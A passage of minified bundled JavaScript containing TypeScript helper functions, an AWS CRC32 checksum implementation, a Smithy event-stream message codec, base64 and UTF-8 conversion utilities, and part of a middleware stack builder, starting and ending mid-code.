w=z.apply(q,Y||[]),H,J=[];return H={},O("next"),O("throw"),O("return"),H[Symbol.asyncIterator]=function(){return this},H;function O(W){if(w[W])H[W]=function(D){return new Promise(function(j,M){J.push([W,D,j,M])>1||X(W,D)})}}function X(W,D){try{$(w[W](D))}catch(j){Z(J[0][3],j)}}function $(W){W.value instanceof a$A?Promise.resolve(W.value.v).then(_,G):Z(J[0][2],W)}function _(W){X("next",W)}function G(W){X("throw",W)}function Z(W,D){if(W(D),J.shift(),J.length)X(J[0][0],J[0][1])}},Yp4=function(q){var Y,z;return Y={},w("next"),w("throw",function(H){throw H}),w("return"),Y[Symbol.iterator]=function(){return this},Y;function w(H,J){Y[H]=q[H]?function(O){return(z=!z)?{value:a$A(q[H](O)),done:H==="return"}:J?J(O):O}:J}},zp4=function(q){if(!Symbol.asyncIterator)throw TypeError("Symbol.asyncIterator is not defined.");var Y=q[Symbol.asyncIterator],z;return Y?Y.call(q):(q=typeof n21==="function"?n21(q):q[Symbol.iterator](),z={},w("next"),w("throw"),w("return"),z[Symbol.asyncIterator]=function(){return this},z);function w(J){z[J]=q[J]&&function(O){return new Promise(function(X,$){O=q[J](O),H(X,$,O.done,O.value)})}}function H(J,O,X,$){Promise.resolve($).then(function(_){J({value:_,done:X})},O)}},wp4=function(q,Y){if(Object.defineProperty)Object.defineProperty(q,"raw",{value:Y});else q.raw=Y;return q},Hp4=function(q){if(q&&q.__esModule)return q;var Y={};if(q!=null){for(var z in q)if(Object.hasOwnProperty.call(q,z))Y[z]=q[z]}return Y.default=q,Y},Jp4=function(q){return q&&q.__esModule?q:{default:q}},Op4=function(q,Y){if(!Y.has(q))throw TypeError("attempted to get private field on non-instance");return Y.get(q)},Xp4=function(q,Y,z){if(!Y.has(q))throw TypeError("attempted to set private field on non-instance");return Y.set(q,z),z},A("__extends",lU4),A("__assign",iU4),A("__rest",nU4),A("__decorate",rU4),A("__param",oU4),A("__metadata",aU4),A("__awaiter",sU4),A("__generator",tU4),A("__exportStar",eU4),A("__createBinding",$p4),A("__values",n21),A("__read",Qz6),A("__spread",Ap4),A("__spreadArrays",Kp4),A("__await",a$A),A("__asyncGenerator",qp4),A("__asyncDelegator",Yp4),A("__asyncValues",zp4),A("__makeTemplateObject",wp4),A("__importStar",Hp4),A("__importDefault",Jp4),A("__classPrivateFieldGet",Op4),A("__classPrivateFieldSet",Xp4)})});var Zp4=v((_p4)=>{Object.defineProperty(_p4,"__esModule",{value:!0});_p4.convertToBuffer=void 0;var yQ9=D26(),IQ9=typeof Buffer<"u"&&Buffer.from?function(A){return Buffer.from(A,"utf8")}:yQ9.fromUtf8;function SQ9(A){if(A instanceof Uint8Array)return A;if(typeof A==="string")return IQ9(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)}_p4.convertToBuffer=SQ9});var jp4=v((Wp4)=>{Object.defineProperty(Wp4,"__esModule",{value:!0});Wp4.isEmptyData=void 0;function hQ9(A){if(typeof A==="string")return A.length===0;return A.byteLength===0}Wp4.isEmptyData=hQ9});var Vp4=v((Mp4)=>{Object.defineProperty(Mp4,"__esModule",{value:!0});Mp4.numToUint8=void 0;function bQ9(A){return new Uint8Array([(A&4278190080)>>24,(A&16711680)>>16,(A&65280)>>8,A&255])}Mp4.numToUint8=bQ9});var Tp4=v((fp4)=>{Object.defineProperty(fp4,"__esModule",{value:!0});fp4.uint32ArrayFrom=void 0;function xQ9(A){if(!Uint32Array.from){var K=new Uint32Array(A.length),q=0;while(q<A.length)K[q]=A[q],q+=1;return K}return Uint32Array.from(A)}fp4.uint32ArrayFrom=xQ9});var pz6=v((s$A)=>{Object.defineProperty(s$A,"__esModule",{value:!0});s$A.uint32ArrayFrom=s$A.numToUint8=s$A.isEmptyData=s$A.convertToBuffer=void 0;var uQ9=Zp4();Object.defineProperty(s$A,"convertToBuffer",{enumerable:!0,get:function(){return uQ9.convertToBuffer}});var BQ9=jp4();Object.defineProperty(s$A,"isEmptyData",{enumerable:!0,get:function(){return BQ9.isEmptyData}});var mQ9=Vp4();Object.defineProperty(s$A,"numToUint8",{enumerable:!0,get:function(){return mQ9.numToUint8}});var gQ9=Tp4();Object.defineProperty(s$A,"uint32ArrayFrom",{enumerable:!0,get:function(){return gQ9.uint32ArrayFrom}})});var Lp4=v((kp4)=>{Object.defineProperty(kp4,"__esModule",{value:!0});kp4.AwsCrc32=void 0;var vp4=Uz6(),dz6=pz6(),Ep4=o21(),QQ9=function(){function A(){this.crc32=new Ep4.Crc32}return A.prototype.update=function(K){if((0,dz6.isEmptyData)(K))return;this.crc32.update((0,dz6.convertToBuffer)(K))},A.prototype.digest=function(){return vp4.__awaiter(this,void 0,void 0,function(){return vp4.__generator(this,function(K){return[2,(0,dz6.numToUint8)(this.crc32.digest())]})})},A.prototype.reset=function(){this.crc32=new Ep4.Crc32},A}();kp4.AwsCrc32=QQ9});var o21=v((cz6)=>{Object.defineProperty(cz6,"__esModule",{value:!0});cz6.AwsCrc32=cz6.Crc32=cz6.crc32=void 0;var UQ9=Uz6(),pQ9=pz6();function dQ9(A){return new Rp4().update(A).digest()}cz6.crc32=dQ9;var Rp4=function(){function A(){this.checksum=4294967295}return A.prototype.update=function(K){var q,Y;try{for(var z=UQ9.__values(K),w=z.next();!w.done;w=z.next()){var H=w.value;this.checksum=this.checksum>>>8^lQ9[(this.checksum^H)&255]}}catch(J){q={error:J}}finally{try{if(w&&!w.done&&(Y=z.return))Y.call(z)}finally{if(q)throw q.error}}return this},A.prototype.digest=function(){return(this.checksum^4294967295)>>>0},A}();cz6.Crc32=Rp4;var cQ9=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918000,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117],lQ9=(0,pQ9.uint32ArrayFrom)(cQ9),iQ9=Lp4();Object.defineProperty(cz6,"AwsCrc32",{enumerable:!0,get:function(){return iQ9.AwsCrc32}})});var up4=v((Kfw,xp4)=>{var{defineProperty:a21,getOwnPropertyDescriptor:aQ9,getOwnPropertyNames:sQ9}=Object,tQ9=Object.prototype.hasOwnProperty,yp4=(A,K)=>a21(A,"name",{value:K,configurable:!0}),eQ9=(A,K)=>{for(var q in K)a21(A,q,{get:K[q],enumerable:!0})},AU9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of sQ9(K))if(!tQ9.call(A,z)&&z!==q)a21(A,z,{get:()=>K[z],enumerable:!(Y=aQ9(K,z))||Y.enumerable})}return A},KU9=(A)=>AU9(a21({},"__esModule",{value:!0}),A),Ip4={};eQ9(Ip4,{fromHex:()=>hp4,toHex:()=>bp4});xp4.exports=KU9(Ip4);var Sp4={},lz6={};for(let A=0;A<256;A++){let K=A.toString(16).toLowerCase();if(K.length===1)K=`0${K}`;Sp4[A]=K,lz6[K]=A}function hp4(A){if(A.length%2!==0)throw Error("Hex encoded strings must have an even number length");let K=new Uint8Array(A.length/2);for(let q=0;q<A.length;q+=2){let Y=A.slice(q,q+2).toLowerCase();if(Y in lz6)K[q/2]=lz6[Y];else throw Error(`Cannot decode unrecognized sequence ${Y} as hexadecimal`)}return K}yp4(hp4,"fromHex");function bp4(A){let K="";for(let q=0;q<A.byteLength;q++)K+=Sp4[A[q]];return K}yp4(bp4,"toHex")});var op4=v((qfw,rp4)=>{var{defineProperty:t21,getOwnPropertyDescriptor:qU9,getOwnPropertyNames:YU9}=Object,zU9=Object.prototype.hasOwnProperty,OU=(A,K)=>t21(A,"name",{value:K,configurable:!0}),wU9=(A,K)=>{for(var q in K)t21(A,q,{get:K[q],enumerable:!0})},HU9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of YU9(K))if(!zU9.call(A,z)&&z!==q)t21(A,z,{get:()=>K[z],enumerable:!(Y=qU9(K,z))||Y.enumerable})}return A},JU9=(A)=>HU9(t21({},"__esModule",{value:!0}),A),mp4={};wU9(mp4,{EventStreamCodec:()=>fU9,HeaderMarshaller:()=>Qp4,Int64:()=>s21,MessageDecoderStream:()=>NU9,MessageEncoderStream:()=>TU9,SmithyMessageDecoderStream:()=>vU9,SmithyMessageEncoderStream:()=>EU9});rp4.exports=JU9(mp4);var OU9=o21(),R7A=up4(),gp4=class A{constructor(K){if(this.bytes=K,K.byteLength!==8)throw Error("Int64 buffers must be exactly 8 bytes")}static fromNumber(K){if(K>9223372036854776000||K<-9223372036854776000)throw Error(`${K} is too large (or, if negative, too small) to represent as an Int64`);let q=new Uint8Array(8);for(let Y=7,z=Math.abs(Math.round(K));Y>-1&&z>0;Y--,z/=256)q[Y]=z;if(K<0)iz6(q);return new A(q)}valueOf(){let K=this.bytes.slice(0),q=K[0]&128;if(q)iz6(K);return parseInt((0,R7A.toHex)(K),16)*(q?-1:1)}toString(){return String(this.valueOf())}};OU(gp4,"Int64");var s21=gp4;function iz6(A){for(let K=0;K<8;K++)A[K]^=255;for(let K=7;K>-1;K--)if(A[K]++,A[K]!==0)break}OU(iz6,"negate");var Fp4=class{constructor(K,q){this.toUtf8=K,this.fromUtf8=q}format(K){let q=[];for(let w of Object.keys(K)){let H=this.fromUtf8(w);q.push(Uint8Array.from([H.byteLength]),H,this.formatHeaderValue(K[w]))}let Y=new Uint8Array(q.reduce((w,H)=>w+H.byteLength,0)),z=0;for(let w of q)Y.set(w,z),z+=w.byteLength;return Y}formatHeaderValue(K){switch(K.type){case"boolean":return Uint8Array.from([K.value?0:1]);case"byte":return Uint8Array.from([2,K.value]);case"short":let q=new DataView(new ArrayBuffer(3));return q.setUint8(0,3),q.setInt16(1,K.value,!1),new Uint8Array(q.buffer);case"integer":let Y=new DataView(new ArrayBuffer(5));return Y.setUint8(0,4),Y.setInt32(1,K.value,!1),new Uint8Array(Y.buffer);case"long":let z=new Uint8Array(9);return z[0]=5,z.set(K.value.bytes,1),z;case"binary":let w=new DataView(new ArrayBuffer(3+K.value.byteLength));w.setUint8(0,6),w.setUint16(1,K.value.byteLength,!1);let H=new Uint8Array(w.buffer);return H.set(K.value,3),H;case"string":let J=this.fromUtf8(K.value),O=new DataView(new ArrayBuffer(3+J.byteLength));O.setUint8(0,7),O.setUint16(1,J.byteLength,!1);let X=new Uint8Array(O.buffer);return X.set(J,3),X;case"timestamp":let $=new Uint8Array(9);return $[0]=8,$.set(s21.fromNumber(K.value.valueOf()).bytes,1),$;case"uuid":if(!MU9.test(K.value))throw Error(`Invalid UUID received: ${K.value}`);let _=new Uint8Array(17);return _[0]=9,_.set((0,R7A.fromHex)(K.value.replace(/\-/g,"")),1),_}}parse(K){let q={},Y=0;while(Y<K.byteLength){let z=K.getUint8(Y++),w=this.toUtf8(new Uint8Array(K.buffer,K.byteOffset+Y,z));switch(Y+=z,K.getUint8(Y++)){case 0:q[w]={type:Bp4,value:!0};break;case 1:q[w]={type:Bp4,value:!1};break;case 2:q[w]={type:XU9,value:K.getInt8(Y++)};break;case 3:q[w]={type:$U9,value:K.getInt16(Y,!1)},Y+=2;break;case 4:q[w]={type:_U9,value:K.getInt32(Y,!1)},Y+=4;break;case 5:q[w]={type:GU9,value:new s21(new Uint8Array(K.buffer,K.byteOffset+Y,8))},Y+=8;break;case 6:let H=K.getUint16(Y,!1);Y+=2,q[w]={type:ZU9,value:new Uint8Array(K.buffer,K.byteOffset+Y,H)},Y+=H;break;case 7:let J=K.getUint16(Y,!1);Y+=2,q[w]={type:WU9,value:this.toUtf8(new Uint8Array(K.buffer,K.byteOffset+Y,J))},Y+=J;break;case 8:q[w]={type:DU9,value:new Date(new s21(new Uint8Array(K.buffer,K.byteOffset+Y,8)).valueOf())},Y+=8;break;case 9:let O=new Uint8Array(K.buffer,K.byteOffset+Y,16);Y+=16,q[w]={type:jU9,value:`${(0,R7A.toHex)(O.subarray(0,4))}-${(0,R7A.toHex)(O.subarray(4,6))}-${(0,R7A.toHex)(O.subarray(6,8))}-${(0,R7A.toHex)(O.subarray(8,10))}-${(0,R7A.toHex)(O.subarray(10))}`};break;default:throw Error("Unrecognized header type tag")}}return q}};OU(Fp4,"HeaderMarshaller");var Qp4=Fp4,Bp4="boolean",XU9="byte",$U9="short",_U9="integer",GU9="long",ZU9="binary",WU9="string",DU9="timestamp",jU9="uuid",MU9=/^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$/,PU9=o21(),Up4=4,Ao=Up4*2,y7A=4,VU9=Ao+y7A*2;function pp4({byteLength:A,byteOffset:K,buffer:q}){if(A<VU9)throw Error("Provided message too short to accommodate event stream message overhead");let Y=new DataView(q,K,A),z=Y.getUint32(0,!1);if(A!==z)throw Error("Reported message length does not match received message length");let w=Y.getUint32(Up4,!1),H=Y.getUint32(Ao,!1),J=Y.getUint32(A-y7A,!1),O=new PU9.Crc32().update(new Uint8Array(q,K,Ao));if(H!==O.digest())throw Error(`The prelude checksum specified in the message (${H}) does not match the calculated CRC32 checksum (${O.digest()})`);if(O.update(new Uint8Array(q,K+Ao,A-(Ao+y7A))),J!==O.digest())throw Error(`The message checksum (${O.digest()}) did not match the expected value of ${J}`);return{headers:new DataView(q,K+Ao+y7A,w),body:new Uint8Array(q,K+Ao+y7A+w,z-w-(Ao+y7A+y7A))}}OU(pp4,"splitMessage");var dp4=class{constructor(K,q){this.headerMarshaller=new Qp4(K,q),this.messageBuffer=[],this.isEndOfStream=!1}feed(K){this.messageBuffer.push(this.decode(K))}endOfStream(){this.isEndOfStream=!0}getMessage(){let K=this.messageBuffer.pop(),q=this.isEndOfStream;return{getMessage(){return K},isEndOfStream(){return q}}}getAvailableMessages(){let K=this.messageBuffer;this.messageBuffer=[];let q=this.isEndOfStream;return{getMessages(){return K},isEndOfStream(){return q}}}encode({headers:K,body:q}){let Y=this.headerMarshaller.format(K),z=Y.byteLength+q.byteLength+16,w=new Uint8Array(z),H=new DataView(w.buffer,w.byteOffset,w.byteLength),J=new OU9.Crc32;return H.setUint32(0,z,!1),H.setUint32(4,Y.byteLength,!1),H.setUint32(8,J.update(w.subarray(0,8)).digest(),!1),w.set(Y,12),w.set(q,Y.byteLength+12),H.setUint32(z-4,J.update(w.subarray(8,z-4)).digest(),!1),w}decode(K){let{headers:q,body:Y}=pp4(K);return{headers:this.headerMarshaller.parse(q),body:Y}}formatHeaders(K){return this.headerMarshaller.format(K)}};OU(dp4,"EventStreamCodec");var fU9=dp4,cp4=class{constructor(K){this.options=K}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let K of this.options.inputStream)yield this.options.decoder.decode(K)}};OU(cp4,"MessageDecoderStream");var NU9=cp4,lp4=class{constructor(K){this.options=K}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let K of this.options.messageStream)yield this.options.encoder.encode(K);if(this.options.includeEndFrame)yield new Uint8Array(0)}};OU(lp4,"MessageEncoderStream");var TU9=lp4,ip4=class{constructor(K){this.options=K}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let K of this.options.messageStream){let q=await this.options.deserializer(K);if(q===void 0)continue;yield q}}};OU(ip4,"SmithyMessageDecoderStream");var vU9=ip4,np4=class{constructor(K){this.options=K}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let K of this.options.inputStream)yield this.options.serializer(K)}};OU(np4,"SmithyMessageEncoderStream");var EU9=np4});var qd4=v((Yfw,Kd4)=>{var{defineProperty:e21,getOwnPropertyDescriptor:kU9,getOwnPropertyNames:CU9}=Object,LU9=Object.prototype.hasOwnProperty,t$A=(A,K)=>e21(A,"name",{value:K,configurable:!0}),RU9=(A,K)=>{for(var q in K)e21(A,q,{get:K[q],enumerable:!0})},yU9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of CU9(K))if(!LU9.call(A,z)&&z!==q)e21(A,z,{get:()=>K[z],enumerable:!(Y=kU9(K,z))||Y.enumerable})}return A},IU9=(A)=>yU9(e21({},"__esModule",{value:!0}),A),ap4={};RU9(ap4,{EventStreamMarshaller:()=>Ad4,eventStreamSerdeProvider:()=>SU9});Kd4.exports=IU9(ap4);var cSA=op4();function sp4(A){let K=0,q=0,Y=null,z=null,w=t$A((J)=>{if(typeof J!=="number")throw Error("Attempted to allocate an event message where size was not a number: "+J);K=J,q=4,Y=new Uint8Array(J),new DataView(Y.buffer).setUint32(0,J,!1)},"allocateMessage"),H=t$A(async function*(){let J=A[Symbol.asyncIterator]();while(!0){let{value:O,done:X}=await J.next();if(X){if(!K)return;else if(K===q)yield Y;else throw Error("Truncated event message received.");return}let $=O.length,_=0;while(_<$){if(!Y){let Z=$-_;if(!z)z=new Uint8Array(4);let W=Math.min(4-q,Z);if(z.set(O.slice(_,_+W),q),q+=W,_+=W,q<4)break;w(new DataView(z.buffer).getUint32(0,!1)),z=null}let G=Math.min(K-q,$-_);if(Y.set(O.slice(_,_+G),q),q+=G,_+=G,K&&K===q)yield Y,Y=null,K=0,q=0}}},"iterator");return{[Symbol.asyncIterator]:H}}t$A(sp4,"getChunkedStream");function tp4(A,K){return async function(q){let{value:Y}=q.headers[":message-type"];if(Y==="error"){let z=Error(q.headers[":error-message"].value||"UnknownError");throw z.name=q.headers[":error-code"].value,z}else if(Y==="exception"){let z=q.headers[":exception-type"].value,w={[z]:q},H=await A(w);if(H.$unknown){let J=Error(K(q.body));throw J.name=z,J}throw H[z]}else if(Y==="event"){let z={[q.headers[":event-type"].value]:q},w=await A(z);if(w.$unknown)return;return w}else throw Error(`Unrecognizable event type: ${q.headers[":event-type"].value}`)}}t$A(tp4,"getMessageUnmarshaller");var ep4=class{constructor({utf8Encoder:K,utf8Decoder:q}){this.eventStreamCodec=new cSA.EventStreamCodec(K,q),this.utfEncoder=K}deserialize(K,q){let Y=sp4(K);return new cSA.SmithyMessageDecoderStream({messageStream:new cSA.MessageDecoderStream({inputStream:Y,decoder:this.eventStreamCodec}),deserializer:tp4(q,this.utfEncoder)})}serialize(K,q){return new cSA.MessageEncoderStream({messageStream:new cSA.SmithyMessageEncoderStream({inputStream:K,serializer:q}),encoder:this.eventStreamCodec,includeEndFrame:!0})}};t$A(ep4,"EventStreamMarshaller");var Ad4=ep4,SU9=t$A((A)=>new Ad4(A),"eventStreamSerdeProvider")});var Od4=v((zfw,Jd4)=>{var{defineProperty:Az1,getOwnPropertyDescriptor:hU9,getOwnPropertyNames:bU9}=Object,xU9=Object.prototype.hasOwnProperty,nz6=(A,K)=>Az1(A,"name",{value:K,configurable:!0}),uU9=(A,K)=>{for(var q in K)Az1(A,q,{get:K[q],enumerable:!0})},BU9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of bU9(K))if(!xU9.call(A,z)&&z!==q)Az1(A,z,{get:()=>K[z],enumerable:!(Y=hU9(K,z))||Y.enumerable})}return A},mU9=(A)=>BU9(Az1({},"__esModule",{value:!0}),A),Yd4={};uU9(Yd4,{EventStreamMarshaller:()=>Hd4,eventStreamSerdeProvider:()=>QU9});Jd4.exports=mU9(Yd4);var gU9=qd4(),FU9=CA("stream");async function*zd4(A){let K=!1,q=!1,Y=[];A.on("error",(z)=>{if(!K)K=!0;if(z)throw z}),A.on("data",(z)=>{Y.push(z)}),A.on("end",()=>{K=!0});while(!q){let z=await new Promise((w)=>setTimeout(()=>w(Y.shift()),0));if(z)yield z;q=K&&Y.length===0}}nz6(zd4,"readabletoIterable");var wd4=class{constructor({utf8Encoder:K,utf8Decoder:q}){this.universalMarshaller=new gU9.EventStreamMarshaller({utf8Decoder:q,utf8Encoder:K})}deserialize(K,q){let Y=typeof K[Symbol.asyncIterator]==="function"?K:zd4(K);return this.universalMarshaller.deserialize(Y,q)}serialize(K,q){return FU9.Readable.from(this.universalMarshaller.serialize(K,q))}};nz6(wd4,"EventStreamMarshaller");var Hd4=wd4,QU9=nz6((A)=>new Hd4(A),"eventStreamSerdeProvider")});var _d4=v((Xd4)=>{Object.defineProperty(Xd4,"__esModule",{value:!0});Xd4.fromBase64=void 0;var UU9=N8A(),pU9=/^[A-Za-z0-9+/]*={0,2}$/,dU9=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!pU9.exec(A))throw TypeError("Invalid base64 string.");let K=(0,UU9.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};Xd4.fromBase64=dU9});var jd4=v((Hfw,Dd4)=>{var{defineProperty:Kz1,getOwnPropertyDescriptor:cU9,getOwnPropertyNames:lU9}=Object,iU9=Object.prototype.hasOwnProperty,rz6=(A,K)=>Kz1(A,"name",{value:K,configurable:!0}),nU9=(A,K)=>{for(var q in K)Kz1(A,q,{get:K[q],enumerable:!0})},rU9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of lU9(K))if(!iU9.call(A,z)&&z!==q)Kz1(A,z,{get:()=>K[z],enumerable:!(Y=cU9(K,z))||Y.enumerable})}return A},oU9=(A)=>rU9(Kz1({},"__esModule",{value:!0}),A),Gd4={};nU9(Gd4,{fromUtf8:()=>Wd4,toUint8Array:()=>aU9,toUtf8:()=>sU9});Dd4.exports=oU9(Gd4);var Zd4=N8A(),Wd4=rz6((A)=>{let K=(0,Zd4.fromString)(A,"utf8");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength/Uint8Array.BYTES_PER_ELEMENT)},"fromUtf8"),aU9=rz6((A)=>{if(typeof A==="string")return Wd4(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)},"toUint8Array"),sU9=rz6((A)=>{if(typeof A==="string")return A;if(typeof A!=="object"||typeof A.byteOffset!=="number"||typeof A.byteLength!=="number")throw Error("@smithy/util-utf8: toUtf8 encoder function only accepts string | Uint8Array.");return(0,Zd4.fromArrayBuffer)(A.buffer,A.byteOffset,A.byteLength).toString("utf8")},"toUtf8")});var Vd4=v((Md4)=>{Object.defineProperty(Md4,"__esModule",{value:!0});Md4.toBase64=void 0;var tU9=N8A(),eU9=jd4(),Ap9=(A)=>{let K;if(typeof A==="string")K=(0,eU9.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,tU9.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};Md4.toBase64=Ap9});var sz6=v((Ofw,qz1)=>{var{defineProperty:fd4,getOwnPropertyDescriptor:Kp9,getOwnPropertyNames:qp9}=Object,Yp9=Object.prototype.hasOwnProperty,oz6=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of qp9(K))if(!Yp9.call(A,z)&&z!==q)fd4(A,z,{get:()=>K[z],enumerable:!(Y=Kp9(K,z))||Y.enumerable})}return A},Nd4=(A,K,q)=>(oz6(A,K,"default"),q&&oz6(q,K,"default")),zp9=(A)=>oz6(fd4({},"__esModule",{value:!0}),A),az6={};qz1.exports=zp9(az6);Nd4(az6,_d4(),qz1.exports);Nd4(az6,Vd4(),qz1.exports)});var Cd4=v((Xfw,kd4)=>{var{defineProperty:Yz1,getOwnPropertyDescriptor:wp9,getOwnPropertyNames:Hp9}=Object,Jp9=Object.prototype.hasOwnProperty,wC=(A,K)=>Yz1(A,"name",{value:K,configurable:!0}),Op9=(A,K)=>{for(var q in K)Yz1(A,q,{get:K[q],enumerable:!0})},Xp9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Hp9(K))if(!Jp9.call(A,z)&&z!==q)Yz1(A,z,{get:()=>K[z],enumerable:!(Y=wp9(K,z))||Y.enumerable})}return A},$p9=(A)=>Xp9(Yz1({},"__esModule",{value:!0}),A),Ed4={};Op9(Ed4,{constructStack:()=>tz6});kd4.exports=$p9(Ed4);var I7A=wC((A,K)=>{let q=[];if(A)q.push(A);if(K)for(let Y of K)q.push(Y);return q},"getAllAliases"),Ko=wC((A,K)=>{return`${A||"anonymous"}${K&&K.length>0?` (a.k.a. ${K.join(",")})`:""}`},"getMiddlewareNameWithAliases"),tz6=wC(()=>{let A=[],K=[],q=!1,Y=new Set,z=wC((_)=>_.sort((G,Z)=>Td4[Z.step]-Td4[G.step]||vd4[Z.priority||"normal"]-vd4[G.priority||"normal"]),"sort"),w=wC((_)=>{let G=!1,Z=wC((W)=>{let D=I7A(W.name,W.aliases);if(D.includes(_)){G=!0;for(let j of D)Y.delete(j);return!1}return!0},"filterCb");return A=A.filter(Z),K=K.filter(Z),G},"removeByName"),H=wC((_)=>{let G=!1,Z=wC((W)=>{if(W.middleware===_){G=!0;for(let D of I7A(W.name,W.aliases))Y.delete(D);return!1}return!0},"filterCb");return A=A.filter(Z),K=K.filter(Z),G},"removeByReference"),J=wC((_)=>{var G;return A.forEach((Z)=>{_.add(Z.middleware,{...Z})}),K.forEach((Z)=>{_.addRelativeTo(Z.middleware,{...Z})}),(G=_.identifyOnResolve)==null||G.call(_,$.identifyOnResolve()),_},"cloneTo"),O=wC((_)=>{let G=[];return _.before.forEach((Z)=>{if(Z.before.length===0&&Z.after.length===0)G.push(Z);else G.push(...O(Z))}),G.push(_),_.after.reverse().forEach((Z)=>{if(Z.before.length===0&&Z.after.length===0)G.push(Z);else G.push(...O(Z))}),G},"expandRelativeMiddlewareList"),X=wC((_=!1)=>{let G=[],Z=[],W={};return A.forEach((j)=>{let M={...j,before:[],after:[]};for(let P of I7A(M.name,M.aliases))W[P]=M;G.push(M)}),K.forEach((j)=>{let M={...j,before:[],after:[]};for(let P of I7A(M.name,M.aliases))W[P]=M;Z.push(M)}),Z.forEach((j)=>{if(j.toMiddleware){let M=W[j.toMiddleware];if(M===void 0){if(_)return;throw Error(`${j.toMiddleware} is not found when adding ${Ko(j.name,j.aliases)} middleware ${j.relation} ${j.toMiddleware}`)}if(j.relation==="after")M.after.push(j);if(j.relation==="before")M.before.push(j)}}),z(G).map(O).reduce((j,M)=>{return j.push(...M),j},[])},"getMiddlewareList"),$={add:(_,G={})=>{let{name:Z,override:W,aliases:D}=G,j={step:"initialize",priority:"normal",middleware:_,...G},M=I7A(Z,D);if(M.length>0){if(M.some((P)=>Y.has(P))){if(!W)throw Error(`Duplicate middleware name '${Ko(Z,D)}'`);for(let P of M){let f=A.findIndex((T)=>{var C;return T.name===P||((C=T.aliases)==null?void 0:C.some((R)=>R===P))});if(f===-1)continue;let N=A[f];if(N.step!==j.step||j.priority!==N.priority)throw Error(`"${Ko(N.name,N.aliases)}" middleware with ${N.priority} priority in ${N.step} step cannot be overridden by "${Ko(Z,D)}" middleware with ${j.priority} priority in ${j.step} step.`);A.splice(f,1)}}for(let P of M)Y.add(P)}A.push(j)},addRelativeTo:(_,G)=>{let{name:Z,override:W,aliases:D}=G,j={middleware:_,...G},M=I7A(Z,D);if(M.length>0){if(M.some((P)=>Y.has(P))){if(!W)throw Error(`Duplicate middleware name '${Ko(Z,D)}'`);for(let P of M){let f=K.findIndex((T)=>{var C;return T.name===P||((C=T.aliases)==null?void 0:C.some((R)=>R===P))});if(f===-1)continue;let N=K[f];if(N.toMiddleware!==j.toMiddleware||N.relation!==j.relation)throw Error(`"${Ko(N.name,N.aliases)}" middleware ${N.relation} "${N.toMiddleware}" middleware cannot be overridden by "${Ko(Z,D)}" middleware ${j.relation} "${j.toMiddleware}" 